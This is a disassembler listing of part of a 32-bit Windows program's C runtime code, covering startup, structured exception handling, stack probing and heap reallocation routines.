sub_41DC6D pop ecx loc_41DDBB: ; CODE XREF: start-1C24Fj call ds:dword_429198 ; GetCommandLineA mov ds:dword_4395C0, eax call sub_42299D mov ds:dword_4354F0, eax call sub_4228FB test eax, eax jge short loc_41DDE1 push 8 call sub_41DC6D pop ecx loc_41DDE1: ; CODE XREF: start-1C229j call sub_4226C8 test eax, eax jge short loc_41DDF2 push 9 call sub_41DC6D pop ecx loc_41DDF2: ; CODE XREF: start-1C218j push 1 call sub_41F531 pop ecx mov [ebp-28h], eax cmp eax, esi jz short loc_41DE08 push eax call sub_41DC6D pop ecx loc_41DE08: ; CODE XREF: start-1C201j mov [ebp-44h], esi lea eax, [ebp-70h] push eax call ds:dword_42919C ; GetStartupInfoA call sub_42266B mov [ebp-20h], eax test byte ptr [ebp-44h], 1 jz short loc_41DE29 movzx eax, word ptr [ebp-40h] jmp short loc_41DE2C ; --------------------------------------------------------------------------- loc_41DE29: ; CODE XREF: start-1C1DFj push 0Ah pop eax loc_41DE2C: ; CODE XREF: start-1C1D9j push eax push dword ptr [ebp-20h] push esi push esi call edi ; GetModuleHandleA push eax call sub_4142D6 mov edi, eax mov [ebp-2Ch], edi cmp [ebp-1Ch], esi jnz short loc_41DE4A push edi call sub_41F65E loc_41DE4A: ; CODE XREF: start-1C1BEj call sub_41F680 jmp short loc_41DE7C ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_41DE51 proc near ; DATA XREF: .text:stru_429670o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-24h], ecx push eax push ecx call sub_4217A5 pop ecx pop ecx retn sub_41DE51 endp ; --------------------------------------------------------------------------- loc_41DE65: ; DATA XREF: .text:stru_429670o mov esp, [ebp-18h] mov edi, [ebp-24h] cmp dword ptr [ebp-1Ch], 0 jnz short loc_41DE77 push edi call sub_41F66F loc_41DE77: ; CODE XREF: .text:0041DE6Fj call sub_41F68F ; START OF FUNCTION CHUNK FOR start loc_41DE7C: ; CODE XREF: start-1C1B1j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE8C proc near ; CODE XREF: sub_41DF84+70p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41DEA4 push [ebp+arg_0] call sub_427702 ; RtlUnwind loc_41DEA4: ; DATA XREF: sub_41DE8C+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DE8C endp ; =============== S U B R O U T I N E ======================================= sub_41DEAC proc near ; DATA XREF: sub_41DECE+Ao ; sub_41DF36+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41DECD mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41DECD: ; CODE XREF: sub_41DEAC+10j retn sub_41DEAC endp ; =============== S U B R O U T I N E ======================================= sub_41DECE proc near ; CODE XREF: sub_41DF84+7Dp ; sub_41DF84+D0p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41DEAC push large dword ptr fs:0 mov large fs:0, esp loc_41DEEB: ; CODE XREF: sub_41DECE:loc_41DF26j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41DF28 cmp esi, [esp+1Ch+arg_4] jz short loc_41DF28 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41DF26 push 101h mov eax, [ebx+esi*4+8] call sub_41DF62 call dword ptr [ebx+esi*4+8] loc_41DF26: ; CODE XREF: sub_41DECE+44j jmp short loc_41DEEB ; --------------------------------------------------------------------------- loc_41DF28: ; CODE XREF: sub_41DECE+2Aj ; sub_41DECE+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41DECE endp ; =============== S U B R O U T I N E ======================================= sub_41DF36 proc near ; CODE XREF: sub_423262+60p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41DEAC jnz short locret_41DF58 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41DF58 mov eax, 1 locret_41DF58: ; CODE XREF: sub_41DF36+10j ; sub_41DF36+1Bj retn sub_41DF36 endp ; =============== S U B R O U T I N E ======================================= sub_41DF59 proc near ; CODE XREF: sub_423880+1Ep ; sub_423880+40p push ebx push ecx mov ebx, offset byte_433118 jmp short loc_41DF6C sub_41DF59 endp ; =============== S U B R O U T I N E ======================================= sub_41DF62 proc near ; CODE XREF: sub_41DECE+4Fp ; sub_41DF84+8Ep push ebx push ecx mov ebx, offset byte_433118 mov ecx, [ebp+8] loc_41DF6C: ; CODE XREF: sub_41DF59+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41DF62 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF84 proc near ; DATA XREF: __SEH_prologo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41E04D mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] push ebx call sub_422D45 add esp, 4 or eax, eax jz short loc_41E03F loc_41DFC4: ; CODE XREF: sub_41DF84+B2j cmp esi, 0FFFFFFFFh jz short loc_41E046 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4+4] or eax, eax jz short loc_41E02D push esi push ebp lea ebp, [ebx+10h] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41E02D js short loc_41E038 mov edi, [ebx+8] push ebx call sub_41DE8C add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41DECE add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41DF62 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax mov eax, [edi+ecx*4+8] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax loc_41E02D: ; CODE XREF: sub_41DF84+4Ej ; sub_41DF84+68j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41DFC4 ; --------------------------------------------------------------------------- loc_41E038: ; CODE XREF: sub_41DF84+6Aj mov eax, 0 jmp short loc_41E062 ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41DF84+3Ej mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 loc_41E046: ; CODE XREF: sub_41DF84+43j mov eax, 1 jmp short loc_41E062 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DF84+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41DECE add esp, 8 pop ebp mov eax, 1 loc_41E062: ; CODE XREF: sub_41DF84+B9j ; sub_41DF84+C7j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DF84 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41DECE add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E090 proc near ; CODE XREF: sub_405771+Ap ; .text:0040A3DAp ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_41E0A5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41E090+5j push ecx lea ecx, [esp+4+arg_0] loc_41E0AA: ; CODE XREF: sub_41E090+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41E0AA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41E090 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E0CD proc near ; CODE XREF: sub_41B760+2Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_41E0D1: ; CODE XREF: sub_41E0CD+Cj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_41E0D1 sub eax, [esp+arg_0] sar eax, 1 dec eax retn sub_41E0CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0E3 proc near ; CODE XREF: sub_42344D+60p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41E0E3 endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41E113 proc near ; CODE XREF: sub_4230A9+25p ; sub_4232D1+149p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41E113 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E11A proc near ; CODE XREF: sub_41E2A4+7Ep ; sub_42344D:loc_423470p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_41E143 push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_427702 ; RtlUnwind loc_41E143: ; DATA XREF: sub_41E11A+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41E11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E16C proc near ; CODE XREF: SEH_41B760+5j ; .text:00427917j ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push [ebp+var_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_423776 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41E16C endp ; --------------------------------------------------------------------------- loc_41E1A2: ; DATA XREF: sub_41E465+1Fo cld mov eax, [esp+8] mov ecx, [eax+8] cmp ecx, ds:dword_433148 jz short loc_41E1BE mov eax, [esp+4] or dword ptr [eax+4], 8 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41E1BE: ; CODE XREF: .text:0041E1B0j push 0 push eax push dword ptr [eax+14h] push dword ptr [eax+0Ch] push 0 push dword ptr [esp+20h] push dword ptr [eax+10h] push dword ptr [esp+20h] call sub_423776 add esp, 20h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1DD proc near ; CODE XREF: sub_41E2A4+96p ; sub_4234B4+33p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx cmp [ebp+arg_0], 123h jnz short loc_41E1FF mov eax, offset loc_41E278 mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax inc eax jmp loc_41E2A1 ; --------------------------------------------------------------------------- loc_41E1FF: ; CODE XREF: sub_41E1DD+Ej and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41E2A4 mov eax, ds:dword_433148 mov [ebp+var_20], eax mov eax, [ebp+arg_10] mov [ebp+var_1C], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_14] mov [ebp+var_14], eax mov eax, [ebp+arg_18] mov [ebp+var_10], eax and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_4203B6 call dword ptr [eax+74h] pop ecx pop ecx and [ebp+var_34], 0 loc_41E278: ; DATA XREF: sub_41E1DD+10o cmp [ebp+var_4], 0 jz short loc_41E295 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41E29E ; --------------------------------------------------------------------------- loc_41E295: ; CODE XREF: sub_41E1DD+9Fj mov eax, [ebp+var_28] mov large fs:0, eax loc_41E29E: ; CODE XREF: sub_41E1DD+B6j mov eax, [ebp+var_34] loc_41E2A1: ; CODE XREF: sub_41E1DD+1Dj pop ebx leave retn sub_41E1DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2A4 proc near ; DATA XREF: sub_41E1DD+26o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx cld mov eax, [ebp+arg_4] mov eax, [eax+8] cmp eax, ds:dword_433148 jz short loc_41E2CF mov eax, [ebp+arg_0] mov eax, [eax+4] or eax, 8 mov ecx, [ebp+arg_0] mov [ecx+4], eax xor eax, eax inc eax jmp loc_41E353 ; --------------------------------------------------------------------------- loc_41E2CF: ; CODE XREF: sub_41E2A4+12j mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h jz short loc_41E2E9 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_41E353 ; --------------------------------------------------------------------------- loc_41E2E9: ; CODE XREF: sub_41E2A4+34j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+18h] mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+10h] push [ebp+arg_0] call sub_423776 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41E327 push [ebp+arg_0] push [ebp+arg_4] call sub_41E11A loc_41E327: ; CODE XREF: sub_41E2A4+76j push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_4] push eax push 123h call sub_41E1DD add esp, 1Ch mov eax, [ebp+var_4] mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp eax ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_41E353: ; CODE XREF: sub_41E2A4+26j ; sub_41E2A4+43j pop ebx leave retn sub_41E2A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E356 proc near ; CODE XREF: sub_4234B4+52p ; sub_423572+107p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+var_4], eax mov [ebp+arg_0], esi jl short loc_41E3AC loc_41E374: ; CODE XREF: sub_41E356+51j cmp esi, 0FFFFFFFFh jnz short loc_41E37E call sub_42384D loc_41E37E: ; CODE XREF: sub_41E356+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] lea eax, [ebx+eax*4] cmp [eax+4], ecx jge short loc_41E392 cmp ecx, [eax+8] jle short loc_41E397 loc_41E392: ; CODE XREF: sub_41E356+35j cmp esi, 0FFFFFFFFh jnz short loc_41E3A3 loc_41E397: ; CODE XREF: sub_41E356+3Aj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41E3A3: ; CODE XREF: sub_41E356+3Fj cmp [ebp+arg_4], 0 jge short loc_41E374 mov eax, [ebp+var_4] loc_41E3AC: ; CODE XREF: sub_41E356+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41E3C0 cmp esi, eax jbe short loc_41E3C5 loc_41E3C0: ; CODE XREF: sub_41E356+64j call sub_42384D loc_41E3C5: ; CODE XREF: sub_41E356+68j pop edi lea eax, [esi+esi*4] pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41E356 endp ; =============== S U B R O U T I N E ======================================= sub_41E3D0 proc near ; CODE XREF: sub_42310D+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_4203B6 mov eax, [eax+88h] mov [esi+4], eax call sub_4203B6 mov [eax+88h], esi mov eax, esi pop esi retn sub_41E3D0 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F8 proc near ; CODE XREF: sub_423262+56p arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+88h] jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E405: ; CODE XREF: sub_41E3F8+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_41E416 mov eax, [eax+4] loc_41E410: ; CODE XREF: sub_41E3F8+Bj test eax, eax jnz short loc_41E405 inc eax retn ; --------------------------------------------------------------------------- loc_41E416: ; CODE XREF: sub_41E3F8+13j xor eax, eax retn sub_41E3F8 endp ; =============== S U B R O U T I N E ======================================= sub_41E419 proc near ; CODE XREF: sub_423262+9p arg_0 = dword ptr 4 push esi call sub_4203B6 mov esi, [esp+4+arg_0] cmp esi, [eax+88h] jnz short loc_41E43B call sub_4203B6 mov ecx, [esi+4] mov [eax+88h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E43B: ; CODE XREF: sub_41E419+10j call sub_4203B6 mov eax, [eax+88h] jmp short loc_41E451 ; --------------------------------------------------------------------------- loc_41E448: ; CODE XREF: sub_41E419+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_41E45D mov eax, ecx loc_41E451: ; CODE XREF: sub_41E419+2Dj cmp dword ptr [eax+4], 0 jnz short loc_41E448 pop esi jmp sub_42384D ; --------------------------------------------------------------------------- loc_41E45D: ; CODE XREF: sub_41E419+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_41E419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E465 proc near ; CODE XREF: sub_42310D+77p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_433148 and [ebp+var_18], 0 mov ecx, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_14], offset loc_41E1A2 mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_18], eax lea eax, [ebp+var_18] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_423880 mov ecx, eax mov eax, [ebp+var_18] mov large fs:0, eax mov eax, ecx leave retn sub_41E465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4BE proc near ; CODE XREF: sub_401895+Cp ; sub_401C28+1B7p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_42967C lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_42908C ; RaiseException pop edi pop esi leave retn 8 sub_41E4BE endp ; =============== S U B R O U T I N E ======================================= sub_41E4F8 proc near ; CODE XREF: sub_41E530p mov eax, offset sub_423CE8 mov ds:off_433970, eax mov ds:off_433974, offset sub_423976 mov ds:off_433978, offset sub_4239DB mov ds:off_43397C, offset sub_42393A mov ds:off_433980, offset sub_4239C1 mov ds:off_433984, eax retn sub_41E4F8 endp ; =============== S U B R O U T I N E ======================================= sub_41E530 proc near ; CODE XREF: sub_41F531+Dp ; sub_423D8B+21p ; DATA XREF: ... arg_0 = dword ptr 4 call sub_41E4F8 call sub_423D8B cmp [esp+arg_0], 0 mov ds:dword_435500, eax jz short loc_41E54B call sub_423D39 loc_41E54B: ; CODE XREF: sub_41E530+14j fnclex retn sub_41E530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E550 proc near ; CODE XREF: sub_401000+5p ; sub_4013EC+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41E550 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E56F proc near ; CODE XREF: sub_41BA91+8p ; sub_41D098+1Fp ... arg_0 = dword ptr 4 mov eax, ds:dword_435504 test eax, eax jz short loc_41E587 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41E587 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41E587: ; CODE XREF: sub_41E56F+7j ; sub_41E56F+12j xor eax, eax retn sub_41E56F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E5BB loc_41E58A: ; CODE XREF: sub_41E5BB:loc_41E5C4j push 8 push offset stru_4296A0 call __SEH_prolog and dword ptr [ebp-4], 0 push 0 push 1 call sub_423E1A pop ecx pop ecx jmp short loc_41E5AE ; END OF FUNCTION CHUNK FOR sub_41E5BB ; =============== S U B R O U T I N E ======================================= sub_41E5A7 proc near ; DATA XREF: .text:stru_4296A0o xor eax, eax inc eax retn sub_41E5A7 endp ; --------------------------------------------------------------------------- loc_41E5AB: ; DATA XREF: .text:stru_4296A0o mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_41E5BB loc_41E5AE: ; CODE XREF: sub_41E5BB-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_4290E8 ; ExitProcess int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_41E5BB ; =============== S U B R O U T I N E ======================================= sub_41E5BB proc near ; CODE XREF: sub_41BBA7+A1p ; sub_41CE46+AEp ... ; FUNCTION CHUNK AT 0041E58A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0041E5AE SIZE 0000000D BYTES cmp ecx, ds:dword_433148 jnz short loc_41E5C4 retn ; --------------------------------------------------------------------------- loc_41E5C4: ; CODE XREF: sub_41E5BB+6j jmp loc_41E58A sub_41E5BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E618 proc near ; CODE XREF: sub_41C4AE+34p ; sub_41C4AE+49p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041E789 SIZE 0000003C BYTES push 14h push offset stru_4296B0 call __SEH_prolog mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jnz short loc_41E63B push [ebp+arg_4] call sub_41D0C4 pop ecx jmp loc_41E7BF ; --------------------------------------------------------------------------- loc_41E63B: ; CODE XREF: sub_41E618+13j mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_41E64E push edi call sub_41C2DD pop ecx jmp loc_41E7BD ; --------------------------------------------------------------------------- loc_41E64E: ; CODE XREF: sub_41E618+28j cmp ds:dword_4395BC, 3 jnz loc_41E789 loc_41E65B: ; CODE XREF: sub_41E618+158j mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja loc_41E758 push 4 call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], ebx push edi call sub_41E9FC pop ecx mov [ebp+var_20], eax cmp eax, ebx jz loc_41E728 cmp esi, ds:dword_4395A8 ja short loc_41E6D8 push esi push edi push eax call sub_41EEFC add esp, 0Ch test eax, eax jz short loc_41E6A0 mov [ebp+var_1C], edi jmp short loc_41E6D8 ; --------------------------------------------------------------------------- loc_41E6A0: ; CODE XREF: sub_41E618+81j push esi call sub_41F1DB pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz short loc_41E6D8 mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_41E6BB mov eax, esi loc_41E6BB: ; CODE XREF: sub_41E618+9Fj push eax push edi push [ebp+var_1C] call sub_41BC60 push edi call sub_41E9FC mov [ebp+var_20], eax push edi push eax call sub_41EA27 add esp, 18h loc_41E6D8: ; CODE XREF: sub_41E618+72j ; sub_41E618+86j ... cmp [ebp+var_1C], ebx jnz short loc_41E728 cmp esi, ebx jnz short loc_41E6E7 xor esi, esi inc esi mov [ebp+arg_4], esi loc_41E6E7: ; CODE XREF: sub_41E618+C7j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push ds:dword_4395B8 call ds:dword_4290A0 ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, ebx jz short loc_41E728 mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_41E712 mov eax, esi loc_41E712: ; CODE XREF: sub_41E618+F6j push eax push edi push [ebp+var_1C] call sub_41BC60 push edi push [ebp+var_20] call sub_41EA27 add esp, 14h loc_41E728: ; CODE XREF: sub_41E618+66j ; sub_41E618+C3j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41E780 cmp [ebp+var_20], ebx jnz short loc_41E758 cmp esi, ebx jnz short loc_41E73D xor esi, esi inc esi loc_41E73D: ; CODE XREF: sub_41E618+120j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push ebx push ds:dword_4395B8 call ds:dword_429190 ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_41E758: ; CODE XREF: sub_41E618+49j ; sub_41E618+11Cj mov eax, [ebp+var_1C] cmp eax, ebx jnz short loc_41E7BF cmp ds:dword_4356BC, ebx jz short loc_41E7BF push esi call sub_41E56F pop ecx test eax, eax jnz loc_41E65B jmp short loc_41E7BD sub_41E618 endp ; =============== S U B R O U T I N E ======================================= sub_41E778 proc near ; DATA XREF: .text:stru_4296B0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_41E778 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E780 proc near ; CODE XREF: sub_41E618+114p push 4 call sub_41E8CE pop ecx retn sub_41E780 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E618 loc_41E789: ; CODE XREF: sub_41E618+3Dj ; sub_41E618+1A3j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41E7A6 cmp esi, ebx jnz short loc_41E797 xor esi, esi inc esi loc_41E797: ; CODE XREF: sub_41E618+17Aj push esi push edi push ebx push ds:dword_4395B8 call ds:dword_429190 ; RtlReAllocateHeap loc_41E7A6: ; CODE XREF: sub_41E618+176j cmp eax, ebx jnz short loc_41E7BF cmp ds:dword_4356BC, ebx jz short loc_41E7BF push esi call sub_41E56F pop ecx test eax, eax jnz short loc_41E789 loc_41E7BD: 